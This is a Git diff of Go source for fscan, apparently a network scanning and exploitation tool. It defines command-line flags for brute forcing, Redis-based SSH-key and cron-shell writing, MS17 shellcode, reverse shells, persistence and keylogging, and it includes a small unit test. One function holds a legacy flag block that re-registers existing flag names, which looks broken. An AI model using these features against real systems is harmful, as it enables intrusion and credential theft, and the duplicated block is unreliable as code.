flag.StringVar(&fv.Domain, "domain", "", i18n.GetText("flag_domain"))
|
||||
flag.StringVar(&fv.SSHKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// Web扫描参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.TargetURL, "u", "", i18n.GetText("flag_target_url"))
|
||||
flag.StringVar(&fv.URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
|
||||
flag.StringVar(&fv.Cookie, "cookie", "", i18n.GetText("flag_cookie"))
|
||||
flag.StringVar(&fv.UserAgent, "ua", "", i18n.GetText("flag_user_agent"))
|
||||
flag.Int64Var(&fv.WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
|
||||
flag.IntVar(&fv.MaxRedirects, "max-redirect", 10, i18n.GetText("flag_max_redirects"))
|
||||
flag.StringVar(&fv.HTTPProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
|
||||
flag.StringVar(&fv.Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
|
||||
flag.StringVar(&fv.Iface, "iface", "", i18n.GetText("flag_iface"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// POC测试参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
|
||||
flag.StringVar(&fv.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
|
||||
flag.BoolVar(&fv.PocFull, "full", false, i18n.GetText("flag_poc_full"))
|
||||
flag.BoolVar(&fv.DNSLog, "dns", false, i18n.GetText("flag_dns_log"))
|
||||
flag.IntVar(&fv.PocNum, "num", 20, i18n.GetText("flag_poc_num"))
|
||||
flag.BoolVar(&fv.DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// Redis利用参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
|
||||
flag.StringVar(&fv.RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
|
||||
flag.StringVar(&fv.RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
|
||||
flag.StringVar(&fv.RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
|
||||
flag.StringVar(&fv.RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
|
||||
flag.BoolVar(&fv.DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 暴力破解控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.BoolVar(&fv.DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
|
||||
flag.IntVar(&fv.MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 发包频率控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.Int64Var(&fv.PacketRateLimit, "rate", 0, i18n.GetText("flag_packet_rate_limit"))
|
||||
flag.Int64Var(&fv.MaxPacketCount, "maxpkts", 0, i18n.GetText("flag_max_packet_count"))
|
||||
flag.Float64Var(&fv.ICMPRate, "icmp-rate", 0.1, i18n.GetText("flag_icmp_rate"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 输出与显示控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
|
||||
flag.StringVar(&fv.OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
|
||||
flag.BoolVar(&fv.DisableSave, "no", false, i18n.GetText("flag_disable_save"))
|
||||
flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode"))
|
||||
flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
|
||||
flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
|
||||
flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug"))
|
||||
flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
|
||||
flag.BoolVar(&fv.PerfStats, "perf", false, i18n.GetText("flag_perf_stats"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 其他参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
||||
flag.StringVar(&fv.ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
||||
flag.IntVar(&fv.Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
|
||||
flag.IntVar(&fv.ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
|
||||
flag.StringVar(&fv.PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
|
||||
flag.StringVar(&fv.WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
|
||||
flag.StringVar(&fv.KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
|
||||
|
||||
// 文件下载插件参数
|
||||
flag.StringVar(&fv.DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
|
||||
flag.StringVar(&fv.DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
|
||||
flag.StringVar(&fv.Language, "lang", "zh", i18n.GetText("flag_language"))
|
||||
|
||||
// 帮助参数
|
||||
flag.BoolVar(&fv.ShowHelp, "help", false, i18n.GetText("flag_help"))
|
||||
|
||||
// 解析命令行参数
|
||||
if err := parseCommandLineArgs(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 检测用户是否显式指定了 -t
|
||||
flag.Visit(func(f *flag.Flag) {
|
||||
switch f.Name {
|
||||
case "t":
|
||||
fv.ThreadNumExplicit = true
|
||||
case "time":
|
||||
fv.TimeoutExplicit = true
|
||||
case "mt":
|
||||
fv.ModuleThreadNumExplicit = true
|
||||
case "retry":
|
||||
fv.MaxRetriesExplicit = true
|
||||
case "gt":
|
||||
fv.GlobalTimeoutExplicit = true
|
||||
case "icmp-rate":
|
||||
fv.ICMPRateExplicit = true
|
||||
case "num":
|
||||
fv.PocNumExplicit = true
|
||||
}
|
||||
})
|
||||
|
||||
// 设置语言
|
||||
i18n.SetLanguage(fv.Language)
|
||||
|
||||
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
||||
if fv.ShowHelp || shouldShowHelp(Info, fv) {
|
||||
flag.Usage()
|
||||
return ErrShowHelp
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// parseCommandLineArgs 解析命令行参数
|
||||
func parseCommandLineArgs() error {
|
||||
if err := flag.CommandLine.Parse(normalizeMultiValueFlagArgs(os.Args[1:], "-pwda")); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 显示Banner
|
||||
Banner()
|
||||
flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
||||
flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
|
||||
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
||||
flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
|
||||
flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
|
||||
flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
|
||||
flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
|
||||
flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)")
|
||||
flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)")
|
||||
flag.StringVar(&Domain, "domain", "", "smb domain")
|
||||
flag.StringVar(&Username, "user", "", "username")
|
||||
flag.StringVar(&Password, "pwd", "", "password")
|
||||
flag.Int64Var(&Timeout, "time", 3, "Set timeout")
|
||||
flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh")
|
||||
flag.StringVar(&Path, "path", "", "fcgi、smb romote file path")
|
||||
flag.IntVar(&Threads, "t", 600, "Thread nums")
|
||||
flag.IntVar(&LiveTop, "top", 10, "show live len top")
|
||||
flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt")
|
||||
flag.StringVar(&Userfile, "userf", "", "username file")
|
||||
flag.StringVar(&Passfile, "pwdf", "", "password file")
|
||||
flag.StringVar(&PortFile, "portf", "", "Port File")
|
||||
flag.StringVar(&PocPath, "pocpath", "", "poc file path")
|
||||
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)")
|
||||
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)")
|
||||
flag.BoolVar(&NoWebCan, "nopoc", false, "not to scan web vul")
|
||||
flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password")
|
||||
flag.IntVar(&BruteThread, "br", 1, "Brute threads")
|
||||
flag.BoolVar(&NoPing, "np", false, "not to ping")
|
||||
flag.BoolVar(&Ping, "ping", false, "using ping replace icmp")
|
||||
flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile")
|
||||
flag.BoolVar(&TmpSave, "no", false, "not to save output log")
|
||||
flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr")
|
||||
flag.BoolVar(&Silent, "silent", false, "silent scan")
|
||||
flag.BoolVar(&Nocolor, "nocolor", false, "no color")
|
||||
flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key")
|
||||
flag.StringVar(&URL, "u", "", "url")
|
||||
flag.StringVar(&UrlFile, "uf", "", "urlfile")
|
||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
|
||||
flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
|
||||
flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
|
||||
flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
|
||||
flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout")
|
||||
flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc")
|
||||
flag.IntVar(&PocNum, "num", 20, "poc rate")
|
||||
flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add")
|
||||
flag.BoolVar(&IsWmi, "wmi", false, "start wmi")
|
||||
flag.StringVar(&Hash, "hash", "", "hash")
|
||||
flag.BoolVar(&Noredistest, "noredis", false, "no redis sec test")
|
||||
flag.BoolVar(&JsonOutput, "json", false, "json output")
|
||||
flag.Parse()
|
||||
|
||||
// 检查参数冲突
|
||||
return checkParameterConflicts()
|
||||
}
|
||||
|
||||
func normalizeMultiValueFlagArgs(args []string, names ...string) []string {
|
||||
multiValueFlags := make(map[string]struct{}, len(names))
|
||||
for _, name := range names {
|
||||
multiValueFlags[name] = struct{}{}
|
||||
}
|
||||
|
||||
normalized := make([]string, 0, len(args))
|
||||
for i := 0; i < len(args); i++ {
|
||||
arg := args[i]
|
||||
name, value, ok := splitMultiValueFlag(arg, multiValueFlags)
|
||||
if !ok {
|
||||
normalized = append(normalized, arg)
|
||||
continue
|
||||
}
|
||||
|
||||
values := []string{}
|
||||
if value != "" {
|
||||
values = append(values, value)
|
||||
}
|
||||
|
||||
j := i + 1
|
||||
for ; j < len(args); j++ {
|
||||
if strings.HasPrefix(args[j], "-") {
|
||||
break
|
||||
}
|
||||
values = append(values, args[j])
|
||||
}
|
||||
i = j - 1
|
||||
|
||||
if strings.Contains(arg, "=") {
|
||||
normalized = append(normalized, name+"="+strings.Join(values, ","))
|
||||
} else {
|
||||
normalized = append(normalized, name)
|
||||
if len(values) > 0 {
|
||||
normalized = append(normalized, strings.Join(values, ","))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return normalized
|
||||
}
|
||||
|
||||
func splitMultiValueFlag(arg string, names map[string]struct{}) (string, string, bool) {
|
||||
if _, ok := names[arg]; ok {
|
||||
return arg, "", true
|
||||
}
|
||||
|
||||
for name := range names {
|
||||
prefix := name + "="
|
||||
if strings.HasPrefix(arg, prefix) {
|
||||
return name, strings.TrimPrefix(arg, prefix), true
|
||||
}
|
||||
}
|
||||
|
||||
return "", "", false
|
||||
}
|
||||
|
||||
// preProcessLanguage 预处理语言参数,在定义flag之前设置语言
|
||||
func preProcessLanguage() {
|
||||
// 遍历命令行参数查找-lang参数
|
||||
for i, arg := range os.Args {
|
||||
if arg == "-lang" && i+1 < len(os.Args) {
|
||||
lang := os.Args[i+1]
|
||||
if lang == "en" || lang == "zh" {
|
||||
flagVars.Language = lang
|
||||
i18n.SetLanguage(lang)
|
||||
return
|
||||
}
|
||||
} else if strings.HasPrefix(arg, "-lang=") {
|
||||
lang := strings.TrimPrefix(arg, "-lang=")
|
||||
if lang == "en" || lang == "zh" {
|
||||
flagVars.Language = lang
|
||||
i18n.SetLanguage(lang)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 检查环境变量
|
||||
envLang := os.Getenv("FS_LANG")
|
||||
if envLang == "en" || envLang == "zh" {
|
||||
flagVars.Language = envLang
|
||||
i18n.SetLanguage(envLang)
|
||||
}
|
||||
}
|
||||
|
||||
// shouldShowHelp 检查是否应该显示帮助信息
|
||||
func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool {
|
||||
// Web模式不需要目标参数
|
||||
if WebMode {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查是否提供了扫描目标
|
||||
hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != ""
|
||||
|
||||
// 本地模式不需要目标主机
|
||||
if fv.LocalPlugin != "" {
|
||||
return false
|
||||
}
|
||||
|
||||
// -m 指定的全是本地插件时也不需要目标
|
||||
if IsLocalMode != nil && IsLocalMode(fv.ScanMode) {
|
||||
return false
|
||||
}
|
||||
|
||||
// 如果没有提供任何扫描目标,则显示帮助
|
||||
return !hasTarget
|
||||
}
|
||||
|
||||
// checkParameterConflicts 检查参数冲突和兼容性
|
||||
// 返回error而不是调用os.Exit,让调用者决定如何处理
|
||||
func checkParameterConflicts() error {
|
||||
fv := flagVars
|
||||
|
||||
// -debug 等价于 -log debug
|
||||
if fv.Debug {
|
||||
fv.LogLevel = LogLevelDebug
|
||||
}
|
||||
|
||||
// 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
|
||||
if fv.AliveOnly && fv.ScanMode == "icmp" {
|
||||
LogInfo(i18n.GetText("param_conflict_ao_icmp_both"))
|
||||
}
|
||||
|
||||
// 检查本地插件参数
|
||||
if fv.LocalPlugin != "" {
|
||||
// 检查是否包含分隔符(确保只能指定单个插件)
|
||||
invalidChars := []string{",", ";", " ", "|", "&"}
|
||||
for _, char := range invalidChars {
|
||||
if strings.Contains(fv.LocalPlugin, char) {
|
||||
return fmt.Errorf("%s", i18n.Tr("param_local_multi_plugin", char))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestNormalizeMultiValueFlagArgs(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
args []string
|
||||
want []string
|
||||
}{
|
||||
{
|
||||
name: "space separated pwda values",
|
||||
args: []string{"-h", "192.168.1.1", "-pwda", "pass1", "pass2", "pass3", "-m", "ssh"},
|
||||
want: []string{"-h", "192.168.1.1", "-pwda", "pass1,pass2,pass3", "-m", "ssh"},
|
||||
},
|
||||
{
|
||||
name: "equals form with extra values",
|
||||
args: []string{"-pwda=pass1", "pass2", "-h", "192.168.1.1"},
|
||||
want: []string{"-pwda=pass1,pass2", "-h", "192.168.1.1"},
|
||||
},
|
||||
{
|
||||
name: "unrelated args unchanged",
|
||||
args: []string{"-h", "192.168.1.1", "-m", "ssh"},
|
||||
want: []string{"-h", "192.168.1.1", "-m", "ssh"},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := normalizeMultiValueFlagArgs(tt.args, "-pwda")
|
||||
if !reflect.DeepEqual(got, tt.want) {
|
||||
t.Fatalf("normalizeMultiValueFlagArgs() = %#v, want %#v", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,259 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
/*
|
||||
flag_config.go - 命令行参数直接解析到Config
|
||||
|
||||
flag直接写入配置结构。
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// FlagVars - 命令行参数原始值
|
||||
// =============================================================================
|
||||
|
||||
// FlagVars 存储命令行解析的原始值
|
||||
// 某些字段需要类型转换(如 int64 秒 → time.Duration)
|
||||
type FlagVars struct {
|
||||
// 目标配置
|
||||
Host string
|
||||
ExcludeHosts string
|
||||
ExcludeHostsFile string
|
||||
Ports string
|
||||
ExcludePorts string
|
||||
HostsFile string
|
||||
PortsFile string
|
||||
|
||||
// 扫描控制
|
||||
ScanMode string
|
||||
ThreadNum int
|
||||
ThreadNumExplicit bool // 用户显式指定了 -t
|
||||
ModuleThreadNum int
|
||||
ModuleThreadNumExplicit bool
|
||||
TimeoutSec int64 // 秒,需转换为 time.Duration
|
||||
TimeoutExplicit bool
|
||||
GlobalTimeout int64
|
||||
GlobalTimeoutExplicit bool
|
||||
DisablePing bool
|
||||
DisableTcpProbe bool
|
||||
DisableSubnetProbe bool
|
||||
LocalPlugin string
|
||||
AliveOnly bool
|
||||
DisableBrute bool
|
||||
MaxRetries int
|
||||
MaxRetriesExplicit bool
|
||||
|
||||
// 认证凭据
|
||||
Username string
|
||||
Password string
|
||||
AddUsers string
|
||||
AddPasswords string
|
||||
UsersFile string
|
||||
PasswordsFile string
|
||||
UserPassFile string
|
||||
HashFile string
|
||||
HashValue string
|
||||
Domain string
|
||||
SSHKeyPath string
|
||||
|
||||
// Web扫描
|
||||
TargetURL string
|
||||
URLsFile string
|
||||
Cookie string
|
||||
UserAgent string
|
||||
Accept string
|
||||
WebTimeout int64 // 秒
|
||||
MaxRedirects int
|
||||
HTTPProxy string
|
||||
Socks5Proxy string
|
||||
Iface string
|
||||
|
||||
// POC测试
|
||||
PocPath string
|
||||
PocName string
|
||||
PocFull bool
|
||||
DNSLog bool
|
||||
PocNum int
|
||||
PocNumExplicit bool
|
||||
DisablePocScan bool
|
||||
|
||||
// Redis利用
|
||||
RedisFile string
|
||||
RedisShell string
|
||||
RedisWritePath string
|
||||
RedisWriteContent string
|
||||
RedisWriteFile string
|
||||
DisableRedis bool
|
||||
|
||||
// 发包频率
|
||||
PacketRateLimit int64
|
||||
MaxPacketCount int64
|
||||
ICMPRate float64
|
||||
ICMPRateExplicit bool
|
||||
|
||||
// 输出控制
|
||||
Outputfile string
|
||||
OutputFormat string
|
||||
DisableSave bool
|
||||
Silent bool
|
||||
NoColor bool
|
||||
LogLevel string
|
||||
Debug bool
|
||||
DisableProgress bool
|
||||
PerfStats bool
|
||||
Language string
|
||||
|
||||
// 高级功能
|
||||
Shellcode string
|
||||
ReverseShellTarget string
|
||||
Socks5ProxyPort int
|
||||
ForwardShellPort int
|
||||
PersistenceTargetFile string
|
||||
WinPEFile string
|
||||
KeyloggerOutputFile string
|
||||
DownloadURL string
|
||||
DownloadSavePath string
|
||||
|
||||
// 帮助
|
||||
ShowHelp bool
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 全局 FlagVars 实例(仅在解析阶段使用)
|
||||
// =============================================================================
|
||||
|
||||
var flagVars = &FlagVars{}
|
||||
|
||||
// GetFlagVars 获取解析后的命令行参数(供 parse.go 等使用)
|
||||
func GetFlagVars() *FlagVars {
|
||||
return flagVars
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// BuildConfigFromFlags - 从 FlagVars 构建 Config
|
||||
// =============================================================================
|
||||
|
||||
// BuildConfigFromFlags 从命令行参数构建配置对象
|
||||
func BuildConfigFromFlags(fv *FlagVars) *Config {
|
||||
return &Config{
|
||||
// 高频字段
|
||||
Timeout: time.Duration(fv.TimeoutSec) * time.Second,
|
||||
TimeoutExplicit: fv.TimeoutExplicit,
|
||||
ThreadNum: fv.ThreadNum,
|
||||
ThreadNumExplicit: fv.ThreadNumExplicit,
|
||||
ModuleThreadNum: fv.ModuleThreadNum,
|
||||
ModuleThreadNumExplicit: fv.ModuleThreadNumExplicit,
|
||||
DisableBrute: fv.DisableBrute,
|
||||
DisablePing: fv.DisablePing,
|
||||
DisableTcpProbe: fv.DisableTcpProbe,
|
||||
DisableSubnetProbe: fv.DisableSubnetProbe,
|
||||
|
||||
// 扫描模式
|
||||
Mode: fv.ScanMode,
|
||||
LocalMode: fv.LocalPlugin != "",
|
||||
LocalPlugin: fv.LocalPlugin,
|
||||
AliveOnly: fv.AliveOnly,
|
||||
MaxRetries: fv.MaxRetries,
|
||||
MaxRetriesExplicit: fv.MaxRetriesExplicit,
|
||||
|
||||
// 高级功能
|
||||
Shellcode: fv.Shellcode,
|
||||
LocalPluginsList: nil, // 后续解析
|
||||
DNSLog: fv.DNSLog,
|
||||
PersistenceTargetFile: fv.PersistenceTargetFile,
|
||||
WinPEFile: fv.WinPEFile,
|
||||
PortMap: clonePortMap(config.DefaultPortMap),
|
||||
DefaultMap: cloneStringSlice(config.DefaultProbeMap),
|
||||
|
||||
// 全局超时
|
||||
GlobalTimeout: time.Duration(fv.GlobalTimeout) * time.Second,
|
||||
GlobalTimeoutExplicit: fv.GlobalTimeoutExplicit,
|
||||
|
||||
// SOCKS5代理端口
|
||||
Socks5ProxyPort: fv.Socks5ProxyPort,
|
||||
|
||||
// 分组配置
|
||||
Credentials: CredentialConfig{
|
||||
Username: fv.Username,
|
||||
Password: fv.Password,
|
||||
Domain: fv.Domain,
|
||||
Userdict: cloneStringSliceMap(config.DefaultUserDict),
|
||||
Passwords: cloneStringSlice(config.DefaultPasswords),
|
||||
UserPassPairs: nil, // 后续解析
|
||||
SSHKeyPath: fv.SSHKeyPath,
|
||||
},
|
||||
Network: NetworkConfig{
|
||||
HTTPProxy: fv.HTTPProxy,
|
||||
Socks5Proxy: fv.Socks5Proxy,
|
||||
Iface: fv.Iface,
|
||||
WebTimeout: time.Duration(fv.WebTimeout) * time.Second,
|
||||
MaxRedirects: fv.MaxRedirects,
|
||||
PacketRateLimit: fv.PacketRateLimit,
|
||||
MaxPacketCount: fv.MaxPacketCount,
|
||||
ICMPRate: fv.ICMPRate,
|
||||
ICMPRateExplicit: fv.ICMPRateExplicit,
|
||||
},
|
||||
Output: OutputConfig{
|
||||
File: fv.Outputfile,
|
||||
Format: fv.OutputFormat,
|
||||
DisableSave: fv.DisableSave,
|
||||
NoColor: fv.NoColor || !isStdoutTerminal(),
|
||||
Silent: fv.Silent,
|
||||
DisableProgress: fv.DisableProgress,
|
||||
ShowProgress: !fv.DisableProgress,
|
||||
LogLevel: fv.LogLevel,
|
||||
Language: fv.Language,
|
||||
PerfStats: fv.PerfStats,
|
||||
},
|
||||
POC: POCConfig{
|
||||
PocPath: fv.PocPath,
|
||||
PocName: fv.PocName,
|
||||
Full: fv.PocFull,
|
||||
Num: fv.PocNum,
|
||||
NumExplicit: fv.PocNumExplicit,
|
||||
Disabled: fv.DisablePocScan,
|
||||
},
|
||||
Redis: RedisConfig{
|
||||
Disabled: fv.DisableRedis,
|
||||
File: fv.RedisFile,
|
||||
Shell: fv.RedisShell,
|
||||
WritePath: fv.RedisWritePath,
|
||||
WriteContent: fv.RedisWriteContent,
|
||||
WriteFile: fv.RedisWriteFile,
|
||||
},
|
||||
HTTP: HTTPConfig{
|
||||
Cookie: fv.Cookie,
|
||||
UserAgent: defaultUserAgent(fv.UserAgent),
|
||||
Accept: fv.Accept,
|
||||
},
|
||||
LocalExploit: LocalExploitConfig{
|
||||
ReverseShellTarget: fv.ReverseShellTarget,
|
||||
ForwardShellPort: fv.ForwardShellPort,
|
||||
KeyloggerOutputFile: fv.KeyloggerOutputFile,
|
||||
DownloadURL: fv.DownloadURL,
|
||||
DownloadSavePath: fv.DownloadSavePath,
|
||||
},
|
||||
Target: TargetConfig{
|
||||
Ports: fv.Ports,
|
||||
ExcludePorts: fv.ExcludePorts,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func isStdoutTerminal() bool {
|
||||
return term.IsTerminal(int(os.Stdout.Fd()))
|
||||
}
|
||||
|
||||
// defaultUserAgent 用户未通过 -ua 指定时回退到默认 UA,避免发送空 User-Agent 被 WAF 识别
|
||||
func defaultUserAgent(ua string) string {
|
||||
if ua != "" {
|
||||
return ua
|
||||
}
|
||||
return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
||||
}
|
||||
+1166
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,9 @@
|
||||
//go:build web
|
||||
|
||||
package common
|
||||
|
||||
// WebMode Web版本始终为true
|
||||
const WebMode = true
|
||||
|
||||
// WebPort 不再使用,端口由 main_web.go 的 -port 参数控制
|
||||
var WebPort = 0
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !web
|
||||
|
||||
package common
|
||||
|
||||
// WebMode 非Web版本永远为false
|
||||
var WebMode = false
|
||||
|
||||
// WebPort 非Web版本不使用
|
||||
var WebPort = 0
|
||||
@@ -0,0 +1,232 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
/*
|
||||
globals.go - 全局配置变量
|
||||
|
||||
运行时数据和必要的全局状态。
|
||||
命令行参数现通过 GetFlagVars() 访问,配置通过 GetGlobalConfig() 访问。
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 核心数据结构
|
||||
// =============================================================================
|
||||
|
||||
// HostInfo 主机信息结构 - 最核心的数据结构
|
||||
type HostInfo struct {
|
||||
Host string // 主机地址
|
||||
Port int // 端口号(单个端口)
|
||||
URL string // URL地址
|
||||
Info []string // 附加信息
|
||||
}
|
||||
|
||||
// Target 返回 host:port 格式字符串
|
||||
func (h *HostInfo) Target() string {
|
||||
host := h.Host
|
||||
if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") {
|
||||
host = strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[")
|
||||
}
|
||||
return net.JoinHostPort(host, strconv.Itoa(h.Port))
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 默认配置常量
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// DefaultThreadNum 默认线程数
|
||||
DefaultThreadNum = 600
|
||||
// DefaultTimeout 默认超时时间(秒)
|
||||
DefaultTimeout = 3
|
||||
// DefaultScanMode 默认扫描模式
|
||||
DefaultScanMode = "all"
|
||||
// DefaultLanguage 默认语言
|
||||
DefaultLanguage = "zh"
|
||||
// DefaultLogLevel 默认日志级别
|
||||
DefaultLogLevel = "base"
|
||||
)
|
||||
|
||||
// 日志级别常量
|
||||
const (
|
||||
LogLevelAll = "all"
|
||||
LogLevelError = "error"
|
||||
LogLevelBase = "base"
|
||||
LogLevelInfo = "info"
|
||||
LogLevelSuccess = "success"
|
||||
LogLevelDebug = "debug"
|
||||
LogLevelInfoSuccess = "info,success"
|
||||
LogLevelBaseInfoSuccess = "base,info,success"
|
||||
)
|
||||
|
||||
// 版本信息,通过 ldflags 注入
|
||||
var (
|
||||
version = "2.2.1"
|
||||
commit = "unknown"
|
||||
date = "unknown"
|
||||
)
|
||||
|
||||
func GetVersion() string { return version }
|
||||
|
||||
// 运行时数据已迁移到Config对象中,使用GetGlobalConfig()访问
|
||||
|
||||
// Shell状态已迁移到State对象中,使用GetGlobalState()访问
|
||||
|
||||
// POC配置、输出控制、发包控制、初始化已迁移到Config/State对象中
|
||||
|
||||
// =============================================================================
|
||||
// 发包限制错误类型
|
||||
// =============================================================================
|
||||
|
||||
// 哨兵错误 - 用于 errors.Is 判断
|
||||
var (
|
||||
ErrMaxPacketReached = errors.New("max packet count reached")
|
||||
ErrPacketRateLimited = errors.New("packet rate limited")
|
||||
)
|
||||
|
||||
// PacketLimitError 发包限制错误(包含详情)
|
||||
type PacketLimitError struct {
|
||||
Sentinel error // ErrMaxPacketReached 或 ErrPacketRateLimited
|
||||
Limit int64
|
||||
Current int64
|
||||
}
|
||||
|
||||
func (e *PacketLimitError) Error() string {
|
||||
if e.Sentinel == ErrMaxPacketReached {
|
||||
return i18n.Tr("packet_limit_max_reached", e.Limit)
|
||||
}
|
||||
return i18n.Tr("packet_limit_rate_limited", e.Limit)
|
||||
}
|
||||
|
||||
func (e *PacketLimitError) Unwrap() error {
|
||||
return e.Sentinel
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 发包频率控制功能
|
||||
// =============================================================================
|
||||
|
||||
// CanSendPacketWith 检查是否可以发包 - 同时检查频率限制和总数限制
|
||||
// 返回值: (可以发包, 错误)
|
||||
func CanSendPacketWith(config *Config, state *State) (bool, error) {
|
||||
// 检查总数限制
|
||||
maxPacketCount := config.Network.MaxPacketCount
|
||||
